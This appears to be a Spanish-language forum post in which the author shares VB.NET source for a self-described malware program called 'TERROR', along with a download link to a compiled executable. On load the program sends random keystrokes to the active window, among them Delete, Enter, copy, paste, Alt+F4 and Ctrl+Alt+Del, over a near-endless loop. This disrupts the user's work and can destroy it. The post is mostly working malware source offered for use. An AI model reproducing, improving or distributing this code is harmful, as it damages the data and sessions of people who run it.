Hola bien pues hice un pequeño code que puede ser dvertido o peligroso si no se le maneja con cuidado al programa lo he llamado TERROR
se que es malware pero no se que tipo alguien save? o sera un nuevo tipo jejejje
si no lo quieren compilar aqui esta la url de descarga http://rapidshare.com/files/99715436/TERROR.exe

Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim rnd As New Random
        Dim a As Integer
        For b = 0 To 999999999999999999
            a = rnd.Next(0, 12)
            If a = 0 Then
                adm()
            End If
            If a = 1 Then
                entrar()
            End If
            If a = 2 Then
                suprimir()
            End If
            If a = 3 Then
                tabs()
            End If
            If a = 4 Then
                inicio()
            End If
            If a = 5 Then
                arriva()
            End If
            If a = 6 Then
                avajo()
            End If
            If a = 7 Then
                derecha()
            End If
            If a = 8 Then
                izquierda()
            End If
            If a = 9 Then
                pegar()
            End If
            If a = 10 Then
                copear()
            End If
            If a = 11 Then
                guardar()
            End If
            If a = 12 Then
                cerrar()
            End If
        Next
        Close()
    End Sub
    Private Sub tabs()
        SendKeys.SendWait("{TAB}")
    End Sub
    Private Sub entrar()
        SendKeys.SendWait("{ENTER}")
    End Sub
    Private Sub suprimir()
        SendKeys.SendWait("{DELETE}")
    End Sub
    Private Sub inicio()
        SendKeys.SendWait("{HOME}")
    End Sub
    Private Sub arriva()
        SendKeys.SendWait("{UP}")
    End Sub
    Private Sub avajo()
        SendKeys.SendWait("{DOWN}")
    End Sub
    Private Sub derecha()
        SendKeys.SendWait("{RIGHT}")
    End Sub
    Private Sub izquierda()
        SendKeys.SendWait("{LEFT}")
    End Sub
    Private Sub pegar()
        SendKeys.SendWait("^v")
    End Sub
    Private Sub copear()
        SendKeys.SendWait("^c")
    End Sub
    Private Sub guardar()
        SendKeys.SendWait("^{g}")
    End Sub
    Private Sub cerrar()
        SendKeys.SendWait("%{f4}")
    End Sub
    Private Sub adm()
        SendKeys.SendWait("^%{DEL}")
    End Sub
End Class

Tienes razón es que andava un poco distraido deberia de ir en .net o en virus y troyanos perdon